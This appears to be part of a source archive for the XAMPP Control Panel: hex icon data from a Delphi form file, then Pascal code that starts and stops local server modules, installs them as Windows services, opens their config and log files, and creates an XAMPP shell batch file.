0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000008080800080808000808080008080800080808000808080000000 0000000000000000000000000000000000000000000000000000000000000000 FF00000080000000800080808000000000000000000000000000000000000000 00000000FF008080800000000000000000000000000000000000000000000000 0000800000008000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000646464006464640000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000008080 8000808080000000800000008000000080000000800000008000000080008080 8000808080000000000000000000000000000000000000000000000000000000 FF00000080000000800000008000808080000000000000000000000000000000 FF00000080000000800080808000000000000000000000000000000000008000 0000008000000080000080000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000006464 6400A6A6A600A6A6A60064646400000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000808080000000 800000008000000080000000FF000000FF000000FF000000FF00000080000000 8000000080008080800000000000000000000000000000000000000000000000 FF000000800000008000000080000000800080808000000000000000FF000000 8000000080000000800000008000808080000000000000000000800000000080 0000008000000080000000800000800000000000000000000000000000000000 000000000000000000000000000000000000000000000000000064646400A6A6 A600A6A6A600A6A6A600A6A6A600646464000000000000000000000000000000 000000000000000000000000000000000000000000000000FF00000080000000 80000000FF000000FF0000000000000000000000000000000000000080000000 8000000080000000800080808000000000000000000000000000000000000000 00000000FF000000800000008000000080000000800080808000000080000000 8000000080000000800000008000808080000000000080000000008000000080 0000008000000080000000800000008000008000000000000000000000000000 0000000000000000000000000000000000000000000064646400A6A6A600A6A6 A600A6A6A600A6A6A600A6A6A600A6A6A6006464640000000000000000000000 000000000000000000000000000000000000000000000000FF00000080000000 8000000000000000000000000000000000000000000080808000000080000000 8000000080000000800080808000000000000000000000000000000000000000 0000000000000000FF0000008000000080000000800000008000000080000000 8000000080000000800080808000000000008000000000800000008000000080 000000FF00000080000000800000008000000080000080000000000000000000 00000000000000000000000000000000000064646400A6A6A600A6A6A600A6A6 A600F0F0F000A6A6A600A6A6A600A6A6A600A6A6A60064646400000000000000 0000000000000000000000000000000000000000FF0000008000000080008080 8000000000000000000000000000000000008080800000008000000080000000 80000000FF000000800000008000808080000000000000000000000000000000 000000000000000000000000FF00000080000000800000008000000080000000 80000000800080808000000000000000000000800000008000000080000000FF 00000000000000FF000000800000008000000080000080000000000000000000 000000000000000000000000000000000000A6A6A600A6A6A600A6A6A600F0F0 F00000000000F0F0F000A6A6A600A6A6A600A6A6A60064646400000000000000 0000000000000000000000000000000000000000FF0000008000808080000000 0000000000000000000000000000808080000000800000008000000080000000 FF00000000000000FF0000008000808080000000000000000000000000000000 0000000000000000000000000000000080000000800000008000000080000000 80008080800000000000000000000000000000FF00000080000000FF00000000 0000000000000000000000FF0000008000000080000000800000800000000000 000000000000000000000000000000000000F0F0F000A6A6A600F0F0F0000000 00000000000000000000F0F0F000A6A6A600A6A6A600A6A6A600646464000000 0000000000000000000000000000000000000000FF0000008000808080000000 00000000000000000000808080000000800000008000000080000000FF000000 0000000000000000FF0000008000808080000000000000000000000000000000 00000000000000000000000000000000FF000000800000008000000080000000 8000808080000000000000000000000000000000000000FF0000000000000000 000000000000000000000000000000FF00000080000000800000008000008000 00000000000000000000000000000000000000000000F0F0F000000000000000 0000000000000000000000000000F0F0F000A6A6A600A6A6A600A6A6A6006464 6400000000000000000000000000000000000000FF0000008000808080000000 000000000000808080000000800000008000000080000000FF00000000000000 0000000000000000FF0000008000808080000000000000000000000000000000 000000000000000000000000FF00000080000000800000008000000080000000 8000808080000000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000FF000000800000008000000080 0000800000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000F0F0F000A6A6A600A6A6A600A6A6 A600646464000000000000000000000000000000FF0000008000808080000000 0000808080000000800000008000000080000000FF0000000000000000000000 0000000000000000FF0000008000808080000000000000000000000000000000 0000000000000000FF0000008000000080000000800080808000000080000000 8000000080008080800000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000FF0000008000000080 0000008000008000000000000000000000000000000000000000000000000000 00000000000000000000000000000000000000000000F0F0F000A6A6A600A6A6 A600A6A6A6006464640000000000000000000000FF0000008000000080008080 80000000800000008000000080000000FF000000000000000000000000000000 00000000FF000000800000008000808080000000000000000000000000000000 00000000FF0000008000000080000000800080808000000000000000FF000000 8000000080000000800080808000000000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000FF00000080 0000008000000080000080000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000F0F0F000A6A6 A600A6A6A600A6A6A6006464640000000000000000000000FF00000080000000 800000008000000080000000FF00000000000000000000000000000000000000 00000000FF000000800080808000000000000000000000000000000000000000 00000000FF000000800000008000808080000000000000000000000000000000 FF00000080000000800000008000808080000000000000000000000000000000 00000000000000000000000000000000000000000000000000000000000000FF 0000008000000080000000800000800000000000000000000000000000000000 000000000000000000000000000000000000000000000000000000000000F0F0 F000A6A6A600A6A6A600A6A6A60064646400000000000000FF00000080000000 8000000080008080800000000000000000000000000000000000808080000000 8000000080000000800080808000000000000000000000000000000000000000 0000000000000000FF0000008000000000000000000000000000000000000000 00000000FF000000800000008000000080000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000FF00000080000000800000800000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000F0F0F000A6A6A600A6A6A6006464640000000000000000000000FF000000 8000000080000000800080808000808080008080800080808000000080000000 8000000080008080800000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000FF00000080000000FF000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000FF000000800000008000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000F0F0F000A6A6A600A6A6A6000000000000000000000000000000 FF000000FF000000800000008000000080000000800000008000000080000000 FF000000FF000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000FF0000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 00000000000000000000F0F0F000000000000000000000000000000000000000 0000000000000000FF000000FF000000FF000000FF000000FF000000FF000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 000000000000000000000000000000000000424D3E000000000000003E000000 2800000040000000500000000100010000000000800200000000000000000000 000000000000000000000000FFFFFF00FFFF000000000000FFFF000000000000 F83F000000000000E00F000000000000C007000000000000C007000000000000 8003000000000000800300000000000080030000000000008003000000000000 C007000000000000C007000000000000E00F000000000000F83F000000000000 FFFF000000000000FFFF000000000000FFFFFFFF87FFFFFFF007F00F03FFFFFF E007E00701FFF83FC003C00300FFE00F80018001007FC00780018001803FC007 80018001C03F800380018001E01F800380018001F001800380018001F8008003 80018001FE00C00780018001FF00C007C003C003FF08E00FE007E007FF07F83F F007F00FFF07FFFFFFFFFFFFFF87FFFFFFFFFFFFFFFFFFFFFFFFFFFFE7E7F9FF FFFFFFFFC3C3F0FFFFFFFFFF8181E07FFFFFFFFF8001C03FF81FF81FC003801F F81FF81FE007000FF81FF81FF00F0007F81FF81FF00F8603F81FF81FE007CF01 F81FF81FC003FF80FFFFFFFF8001FFC0FFFFFFFF8180FFE1FFFFFFFFC3C1FFF3 FFFFFFFFE7E3FFFFFFFFFFFFFFF7FFFFFFFFCFFF00000000CFFF87CF00000000 87E783870000000083C3810300000000C001C00300000000E003E00700000000 F007F00F00000000F80FF81F00000000F80FF81F00000000F00FF01F00000000 E007E00F00000000C183C10700000000E7E1C38300000000FFF1E7C300000000 FFFFFFE300000000FFFFFFFF00000000FFFFFFFFF81FE1F3F3FFF3FFE007E0E1 E1FFE1FFC003E040C0FFC0FF83C1F000807F807F8F81F801003F003F0F00FC03 083F083F1E08FE071C1F1C1F1C18FE07BE0FBE0F1838FC07FF07FF071078F803 FF83FF8300F0F041FFC1FFC181F1F0E0FFE0FFE083C1F9F0FFF0FFF0C003FFF8 FFF8FFF8E007FFFFFFFDFFFDF81FFFFF00000000000000000000000000000000 000000000000} end object puGeneral: TPopupMenu Left = 200 Top = 392 end object puLog: TPopupMenu Left = 264 Top = 392 object LogCopy: TMenuItem Caption = 'Copy' OnClick = LogCopyClick end object LogSelectAll: TMenuItem Caption = 'Select All' OnClick = LogSelectAllClick end end object TimerUpdateNetworking: TTimer Enabled = False Interval = 500 OnTimer = TimerUpdateNetworkingTimer Left = 268 Top = 328 end end xampp-control-panel/uMain.pas000066600000116414151723641500012241 0ustar00(* This work is licensed under the Creative Commons Attribution-ShareAlike 3.0 Unported License. To view a copy of this license, visit http://creativecommons.org/licenses/by-sa/3.0/ or send a letter to Creative Commons, 444 Castro Street, Suite 900, Mountain View, California, 94041, USA. Programmed by Steffen Strueber, Updates: 3.0.2: May 10th 2011, Steffen Strueber 3.0.3-3.2.1: hackattack142 *) unit uMain; interface uses GnuGettext, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, ExtCtrls, ComCtrls, Buttons, uTools, uTomcat, uApache, uMySQL, uFileZilla, uMercury, uNetstat, uNetstatTable, Menus, IniFiles, AppEvnts, ImgList, JCLDebug, JCLSysInfo, uProcesses_new; type TfMain = class(TForm) imgXAMPP: TImage; lHeader: TLabel; bConfig: TBitBtn; bSCM: TBitBtn; gbModules: TGroupBox; bApacheAction: TBitBtn; bApacheAdmin: TBitBtn; bMySQLAction: TBitBtn; bMySQLAdmin: TBitBtn; bFileZillaAction: TBitBtn; bFileZillaAdmin: TBitBtn; bMercuryAction: TBitBtn; bMercuryAdmin: TBitBtn; sbMain: TStatusBar; bQuit: TBitBtn; bHelp: TBitBtn; bExplorer: TBitBtn; pApacheStatus: TPanel; TimerUpdateStatus: TTimer; TrayIcon: TTrayIcon; bNetstat: TBitBtn; puSystray: TPopupMenu; miShowHide: TMenuItem; miTerminate: TMenuItem; N1: TMenuItem; bApacheConfig: TBitBtn; lPIDs: TLabel; lPorts: TLabel; lApachePIDs: TLabel; bApacheLogs: TBitBtn; lApachePorts: TLabel; bMySQLConfig: TBitBtn; bMySQLLogs: TBitBtn; bFileZillaConfig: TBitBtn; bFileZillaLogs: TBitBtn; bMercuryConfig: TBitBtn; reLog: TRichEdit; lMySQLPIDs: TLabel; lMySQLPorts: TLabel; lFileZillaPorts: TLabel; lFileZillaPIDs: TLabel; lMercuryPorts: TLabel; lMercuryPIDs: TLabel; pMySQLStatus: TPanel; pFileZillaStatus: TPanel; pMercuryStatus: TPanel; ApplicationEvents: TApplicationEvents; ImageList: TImageList; bMySQLService: TBitBtn; bFileZillaService: TBitBtn; lServices: TLabel; lModules: TLabel; lActions: TLabel; bApacheService: TBitBtn; bMercurylogs: TBitBtn; puGeneral: TPopupMenu; lTomcatPorts: TLabel; lTomcatPIDs: TLabel; bTomcatAction: TBitBtn; bTomcatAdmin: TBitBtn; bTomcatConfig: TBitBtn; pTomcatStatus: TPanel; bTomcatLogs: TBitBtn; bTomcatService: TBitBtn; bMercuryService: TBitBtn; bXamppShell: TBitBtn; puLog: TPopupMenu; LogCopy: TMenuItem; LogSelectAll: TMenuItem; N2: TMenuItem; ApacheTray: TMenuItem; MySQLTray: TMenuItem; FileZillaTray: TMenuItem; MercuryTray: TMenuItem; TomcatTray: TMenuItem; TomcatTrayControl: TMenuItem; MercuryTrayControl: TMenuItem; FileZillaTrayControl: TMenuItem; MySQLTrayControl: TMenuItem; ApacheTrayControl: TMenuItem; TimerUpdateNetworking: TTimer; procedure FormCreate(Sender: TObject); procedure bApacheActionClick(Sender: TObject); procedure TimerUpdateStatusTimer(Sender: TObject); procedure TimerUpdateNetworkingTimer(Sender: TObject); procedure FormDestroy(Sender: TObject); procedure bNetstatClick(Sender: TObject); procedure miTerminateClick(Sender: TObject); procedure bQuitClick(Sender: TObject); procedure FormClose(Sender: TObject; var Action: TCloseAction); procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean); procedure miShowHideClick(Sender: TObject); procedure TrayIconDblClick(Sender: TObject); procedure bExplorerClick(Sender: TObject); procedure bSCMClick(Sender: TObject); procedure bApacheAdminClick(Sender: TObject); procedure bApacheConfigClick(Sender: TObject); procedure miGeneralClick(Sender: TObject); procedure bConfigClick(Sender: TObject); procedure bApacheLogsClick(Sender: TObject); procedure bMySQLActionClick(Sender: TObject); procedure bMySQLAdminClick(Sender: TObject); procedure bMySQLConfigClick(Sender: TObject); procedure bMySQLLogsClick(Sender: TObject); procedure bFileZillaActionClick(Sender: TObject); procedure bFileZillaAdminClick(Sender: TObject); procedure bFileZillaConfigClick(Sender: TObject); procedure bFileZillaLogsClick(Sender: TObject); procedure bMercuryActionClick(Sender: TObject); procedure bMercuryAdminClick(Sender: TObject); procedure bMercuryConfigClick(Sender: TObject); procedure bHelpClick(Sender: TObject); procedure bApacheServiceClick(Sender: TObject); procedure bMySQLServiceClick(Sender: TObject); procedure bFileZillaServiceClick(Sender: TObject); procedure bMercuryServiceClick(Sender: TObject); procedure bMercurylogsClick(Sender: TObject); procedure bXamppShellClick(Sender: TObject); procedure bTomcatConfigClick(Sender: TObject); procedure bTomcatLogsClick(Sender: TObject); procedure bTomcatActionClick(Sender: TObject); procedure bTomcatAdminClick(Sender: TObject); procedure bTomcatServiceClick(Sender: TObject); procedure ApplicationEventsException(Sender: TObject; E: Exception); procedure LogCopyClick(Sender: TObject); procedure LogSelectAllClick(Sender: TObject); procedure ApacheTrayControlClick(Sender: TObject); procedure MySQLTrayControlClick(Sender: TObject); procedure FileZillaTrayControlClick(Sender: TObject); procedure MercuryTrayControlClick(Sender: TObject); procedure TomcatTrayControlClick(Sender: TObject); private Apache: tApache; MySQL: tMySQL; FileZilla: tFileZilla; Mercury: tMercury; Tomcat: tTomcat; WindowsShutdownInProgress: Boolean; procedure UpdateStatusAll; function TryGuessXamppVersion: string; procedure EditConfigLogs(ConfigFile: string); procedure GeneralPUClear; procedure GeneralPUAdd(text: string = ''; hint: string = ''; tag: integer = 0); procedure GeneralPUAddUser(text: string; hint: string = ''); procedure GeneralPUAddUserFromSL(sl: tStringList); procedure WMQueryEndSession(var Msg: TWMQueryEndSession); message WM_QueryEndSession; // detect Windows shutdown message procedure WriteLogToFile; procedure updateTimerStatus(enabled: Boolean); public procedure updateTimerNetworking(enabled: Boolean); procedure AddLog(module, log: string; LogType: tLogType = ltDefault); overload; procedure AddLog(log: string; LogType: tLogType = ltDefault); overload; procedure AdjustLogFont(Name: string; Size: integer); end; var fMain: TfMain; implementation uses uConfig, uHelp; {$R *.dfm} /////////////////////////////////////////// // APACHE FUNCTIONS /////////////////////////////////////////// procedure TfMain.bApacheServiceClick(Sender: TObject); var oldIsService: Boolean; begin oldIsService := Apache.isService; if Apache.isRunning then begin MessageDlg(_('Services cannot be installed or uninstalled while the service is running!'), mtError, [mbOk], 0); exit; end; if Apache.isService then begin if MessageDlg(Format(_('Click Yes to uninstall the %s service'), [Apache.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); Apache.ServiceUnInstall; updateTimerStatus(True); end else exit; end else begin if MessageDlg(Format(_('Click Yes to install the %s service'), [Apache.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); Apache.ServiceInstall; updateTimerStatus(True); end else exit; end; Apache.CheckIsService; if (oldIsService = Apache.isService) then begin Apache.AddLog(_('Service was NOT (un)installed!'), ltError); if (WinVersion.Major = 5) then // WinXP Apache.AddLog (_('One possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the "Protect my computer and data from unauthorized program activity" checkbox!!!'), ltError); end else begin Apache.AddLog(_('Successful!')); end; end; procedure TfMain.bApacheActionClick(Sender: TObject); begin if Apache.isRunning then Apache.Stop else Apache.Start; end; procedure TfMain.bApacheAdminClick(Sender: TObject); begin Apache.Admin; end; procedure TfMain.bApacheConfigClick(Sender: TObject); begin GeneralPUClear; GeneralPUAdd('Apache (httpd.conf)', 'apache/conf/httpd.conf'); GeneralPUAdd('Apache (httpd-ssl.conf)', 'apache/conf/extra/httpd-ssl.conf'); GeneralPUAdd('Apache (httpd-xampp.conf)', 'apache/conf/extra/httpd-xampp.conf'); GeneralPUAdd('PHP (php.ini)', 'php/php.ini'); GeneralPUAdd('phpMyAdmin (config.inc.php)', 'phpMyAdmin/config.inc.php'); GeneralPUAddUserFromSL(Config.UserConfig.Apache); GeneralPUAdd(); GeneralPUAdd(_('') + ' [Apache]', 'apache', 1); GeneralPUAdd(_('') + ' [PHP]', 'php', 1); GeneralPUAdd(_('') + ' [phpMyAdmin]', 'phpMyAdmin', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.bApacheLogsClick(Sender: TObject); begin GeneralPUClear; GeneralPUAdd('Apache (access.log)', 'apache\logs\access.log'); GeneralPUAdd('Apache (error.log)', 'apache\logs\error.log'); GeneralPUAdd('PHP (php_error_log)', 'php\logs\php_error_log'); GeneralPUAddUserFromSL(Config.UserLogs.Apache); GeneralPUAdd(); GeneralPUAdd(_('') + ' [Apache]', 'apache\logs', 1); GeneralPUAdd(_('') + ' [PHP]', 'php\logs', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.ApacheTrayControlClick(Sender: TObject); begin if Apache.isRunning then Apache.Stop else Apache.Start; end; /////////////////////////////////////////// // MYSQL FUNCTIONS /////////////////////////////////////////// procedure TfMain.bMySQLServiceClick(Sender: TObject); var oldIsService: Boolean; begin oldIsService := MySQL.isService; if MySQL.isRunning then begin MessageDlg(_('Services cannot be installed or uninstalled while the service is running!'), mtError, [mbOk], 0); exit; end; if MySQL.isService then begin if MessageDlg(Format(_('Click Yes to uninstall the %s service'), [MySQL.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); MySQL.ServiceUnInstall; updateTimerStatus(True); end else exit; end else begin if MessageDlg(Format(_('Click Yes to install the %s service'), [MySQL.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); MySQL.ServiceInstall; updateTimerStatus(True); end else exit; end; MySQL.CheckIsService; if (oldIsService = MySQL.isService) then begin MySQL.AddLog(_('Service was NOT (un)installed!'), ltError); if (WinVersion.Major = 5) then // WinXP MySQL.AddLog (_('One possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the "Protect my computer and data from unauthorized program activity" checkbox!!!'), ltError); end else begin MySQL.AddLog(_('Successful!')); end; end; procedure TfMain.bMySQLActionClick(Sender: TObject); begin if MySQL.isRunning then MySQL.Stop else MySQL.Start; end; procedure TfMain.bMySQLAdminClick(Sender: TObject); begin MySQL.Admin; end; procedure TfMain.bMySQLConfigClick(Sender: TObject); begin GeneralPUClear; GeneralPUAdd('my.ini', 'mysql\bin\my.ini'); GeneralPUAddUserFromSL(Config.UserConfig.MySQL); GeneralPUAdd(); GeneralPUAdd(_(''), 'mysql', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.bMySQLLogsClick(Sender: TObject); begin GeneralPUClear; GeneralPUAdd('mysql_error.log', 'mysql\data\mysql_error.log'); GeneralPUAddUserFromSL(Config.UserLogs.MySQL); GeneralPUAdd(); GeneralPUAdd(_(''), 'mysql\data', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.MySQLTrayControlClick(Sender: TObject); begin if MySQL.isRunning then MySQL.Stop else MySQL.Start; end; /////////////////////////////////////////// // FILEZILLA FUNCTIONS /////////////////////////////////////////// procedure TfMain.bFileZillaServiceClick(Sender: TObject); var oldIsService: Boolean; begin oldIsService := FileZilla.isService; if FileZilla.isRunning then begin MessageDlg(_('Services cannot be installed or uninstalled while the service is running!'), mtError, [mbOk], 0); exit; end; if FileZilla.isService then begin if MessageDlg(Format(_('Click Yes to uninstall the %s service'), [FileZilla.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); FileZilla.ServiceUnInstall; updateTimerStatus(True); end else exit; end else begin if MessageDlg(Format(_('Click Yes to install the %s service'), [FileZilla.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); FileZilla.ServiceInstall; updateTimerStatus(True); end else exit; end; FileZilla.CheckIsService; if (oldIsService = FileZilla.isService) then begin FileZilla.AddLog(_('Service was NOT (un)installed!'), ltError); if (WinVersion.Major = 5) then // WinXP FileZilla.AddLog (_('One possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the "Protect my computer and data from unauthorized program activity" checkbox!!!'), ltError); end else begin FileZilla.AddLog(_('Successful!')); end; end; procedure TfMain.bFileZillaActionClick(Sender: TObject); begin if FileZilla.isRunning then FileZilla.Stop else FileZilla.Start; end; procedure TfMain.bFileZillaAdminClick(Sender: TObject); begin FileZilla.Admin; end; procedure TfMain.bFileZillaConfigClick(Sender: TObject); begin GeneralPUClear; GeneralPUAdd('FileZilla Server.xml', 'FileZillaFTP\FileZilla Server.xml'); GeneralPUAddUserFromSL(Config.UserConfig.FileZilla); GeneralPUAdd(); GeneralPUAdd(_(''), 'FileZillaFTP', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.bFileZillaLogsClick(Sender: TObject); begin GeneralPUClear; GeneralPUAddUserFromSL(Config.UserLogs.FileZilla); if DirectoryExists(BaseDir + 'FileZillaFTP\Logs') then GeneralPUAdd(_(''), 'FileZillaFTP\Logs', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.FileZillaTrayControlClick(Sender: TObject); begin if FileZilla.isRunning then FileZilla.Stop else FileZilla.Start; end; /////////////////////////////////////////// // MERCURY FUNCTIONS /////////////////////////////////////////// procedure TfMain.bMercuryServiceClick(Sender: TObject); begin MessageDlg(_('Mercury cannot be run as service!'), mtError, [mbOk], 0); end; procedure TfMain.bMercuryActionClick(Sender: TObject); begin if Mercury.isRunning then Mercury.Stop else Mercury.Start; end; procedure TfMain.bMercuryAdminClick(Sender: TObject); begin Mercury.Admin; end; procedure TfMain.bMercuryConfigClick(Sender: TObject); begin GeneralPUClear; GeneralPUAdd('mercury.ini', 'MercuryMail\mercury.ini'); GeneralPUAddUserFromSL(Config.UserConfig.Mercury); GeneralPUAdd(); GeneralPUAdd(_(''), 'MercuryMail', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.bMercurylogsClick(Sender: TObject); begin GeneralPUClear; GeneralPUAddUserFromSL(Config.UserLogs.Mercury); GeneralPUAdd(_(''), 'MercuryMail\LOGS', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.MercuryTrayControlClick(Sender: TObject); begin if Mercury.isRunning then Mercury.Stop else Mercury.Start; end; /////////////////////////////////////////// // TOMCAT FUNCTIONS /////////////////////////////////////////// procedure TfMain.bTomcatServiceClick(Sender: TObject); var oldIsService: Boolean; begin oldIsService := Tomcat.isService; if Tomcat.isRunning then begin MessageDlg(_('Services cannot be installed or uninstalled while the service is running!'), mtError, [mbOk], 0); exit; end; if Tomcat.isService then begin if MessageDlg(Format(_('Click Yes to uninstall the %s service'), [Tomcat.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); Tomcat.ServiceUnInstall; updateTimerStatus(True); end else exit; end else begin if MessageDlg(Format(_('Click Yes to install the %s service'), [Tomcat.ModuleName]), mtConfirmation, [mbYes, mbNo], 0) = mrYes then begin updateTimerStatus(False); Tomcat.ServiceInstall; updateTimerStatus(True); end else exit; end; Tomcat.CheckIsService; if (oldIsService = Tomcat.isService) then begin Tomcat.AddLog(_('Service was NOT (un)installed!'), ltError); if (WinVersion.Major = 5) then // WinXP Tomcat.AddLog (_('One possible reason for failure: On windows security box you !!!MUST UNCHECK!!! the "Protect my computer and data from unauthorized program activity" checkbox!!!'), ltError); end else begin Tomcat.AddLog(_('Successful!')); end; end; procedure TfMain.bTomcatActionClick(Sender: TObject); begin if Tomcat.isRunning then Tomcat.Stop else Tomcat.Start; end; procedure TfMain.bTomcatAdminClick(Sender: TObject); begin Tomcat.Admin; end; procedure TfMain.bTomcatConfigClick(Sender: TObject); begin GeneralPUClear; GeneralPUAdd('server.xml', 'Tomcat\conf\server.xml'); GeneralPUAdd('tomcat-users.xml', 'Tomcat\conf\tomcat-users.xml'); GeneralPUAdd('web.xml', 'Tomcat\conf\web.xml'); GeneralPUAdd('context.xml', 'Tomcat\conf\context.xml'); GeneralPUAddUserFromSL(Config.UserConfig.Tomcat); GeneralPUAdd(); GeneralPUAdd(_(''), 'Tomcat\conf', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.bTomcatLogsClick(Sender: TObject); begin GeneralPUClear; GeneralPUAddUserFromSL(Config.UserLogs.Tomcat); GeneralPUAdd(); GeneralPUAdd(_(''), 'tomcat\logs', 1); puGeneral.Popup(Mouse.CursorPos.X, Mouse.CursorPos.Y); end; procedure TfMain.TomcatTrayControlClick(Sender: TObject); begin if Tomcat.isRunning then Tomcat.Stop else Tomcat.Start; end; /////////////////////////////////////////// // CONTROL PANEL FUNCTIONS /////////////////////////////////////////// procedure TfMain.bConfigClick(Sender: TObject); begin fConfig.Show; end; procedure TfMain.bNetstatClick(Sender: TObject); begin fNetStat.Show; fNetStat.RefreshTable(True); end; procedure TfMain.bXamppShellClick(Sender: TObject); const cBatchFileContents = '@ECHO OFF' + cr + '' + cr + 'GOTO weiter' + cr + ':setenv' + cr + 'SET "MIBDIRS=%~dp0php\extras\mibs"' + cr + 'SET "MIBDIRS=%MIBDIRS:\=/%"' + cr + 'SET "MYSQL_HOME=%~dp0mysql\bin"' + cr + 'SET "OPENSSL_CONF=%~dp0apache\bin\openssl.cnf"' + cr + 'SET "OPENSSL_CONF=%OPENSSL_CONF:\=/%"' + cr + 'SET "PHP_PEAR_SYSCONF_DIR=%~dp0php"' + cr + 'SET "PHP_PEAR_BIN_DIR=%~dp0php"' + cr + 'SET "PHP_PEAR_TEST_DIR=%~dp0php\tests"' + cr + 'SET "PHP_PEAR_WWW_DIR=%~dp0php\www"' + cr + 'SET "PHP_PEAR_CFG_DIR=%~dp0php\cfg"' + cr + 'SET "PHP_PEAR_DATA_DIR=%~dp0php\data"' + cr + 'SET "PHP_PEAR_DOC_DIR=%~dp0php\docs"' + cr + 'SET "PHP_PEAR_PHP_BIN=%~dp0php\php.exe"' + cr + 'SET "PHP_PEAR_INSTALL_DIR=%~dp0php\pear"' + cr + 'SET "PHPRC=%~dp0php"' + cr + 'SET "TMP=%~dp0tmp"' + cr + 'SET "PERL5LIB="' + cr + 'SET "Path=%~dp0;%~dp0php;%~dp0perl\site\bin;%~dp0perl\bin;%~dp0apache\bin;%~dp0mysql\bin;%~dp0FileZillaFTP;%~dp0MercuryMail;%~dp0sendmail;%~dp0webalizer;%~dp0tomcat\bin;%Path%"' + cr + 'GOTO :EOF' + cr + ':weiter' + cr + '' + cr + 'IF "%1" EQU "setenv" (' + cr + ' ECHO.' + cr + ' ECHO Setting environment for using XAMPP for Windows.' + cr + ' CALL :setenv' + cr + ') ELSE (' + cr + ' SETLOCAL' + cr + ' TITLE XAMPP for Windows' + cr + ' PROMPT %username%@%computername%$S$P$_#$S' + cr + ' START "" /B %COMSPEC% /K "%~f0" setenv' + cr + ')'; cFilename = 'xampp_shell.bat'; var ts: tStringList; batchfile: string; begin batchfile := BaseDir + cFilename; if not FileExists(batchfile) then begin if MessageDlg(Format(_('File "%s" not found. Should it be created now?'), [batchfile]), mtConfirmation, [mbYes, mbAbort], 0) <> mrYes then exit; ts := tStringList.Create; ts.text := cBatchFileContents; try ts.SaveToFile(batchfile); except on E: Exception do begin MessageDlg(_('Error') + ': ' + E.Message, mtError, [mbOk], 0); end; end; ts.Free; end; ExecuteFile(batchfile, '', '', SW_SHOW); end; procedure TfMain.bExplorerClick(Sender: TObject); var App: string; begin App := BaseDir; ExecuteFile(App, '', '', SW_SHOW); AddLog(Format(_('Executing "%s"'), [App])); end; procedure TfMain.bSCMClick(Sender: TObject); var App: string; begin App := 'services.msc'; ExecuteFile(App, '', '', SW_SHOW); AddLog(Format(_('Executing "%s"'), [App])); end; procedure TfMain.bHelpClick(Sender: TObject); begin fHelp.Show; end; procedure TfMain.bQuitClick(Sender: TObject); begin miTerminateClick(Sender); end; /////////////////////////////////////////// // LOG FUNCTIONS /////////////////////////////////////////// procedure TfMain.AddLog(module, log: string; LogType: tLogType = ltDefault); begin if (not Config.ShowDebug) and (LogType = ltDebug) or (LogType = ltDebugDetails) then exit; if (LogType = ltDebugDetails) and (Config.DebugLevel = 0) then exit; with reLog do begin SelStart := GetTextLen; SelAttributes.Color := clGray; SelText := TimeToStr(Now) + ' '; SelAttributes.Color := clBlack; SelText := '['; SelAttributes.Color := clBlue; SelText := module; SelAttributes.Color := clBlack; SelText := '] ' + #9; case LogType of ltDefault: SelAttributes.Color := clBlack; ltInfo: SelAttributes.Color := clBlue; ltError: SelAttributes.Color := clRed; ltDebug: SelAttributes.Color := clGray; ltDebugDetails: SelAttributes.Color := clSilver; end; SelText := log + #13; SendMessage(Handle, EM_SCROLLCARET, 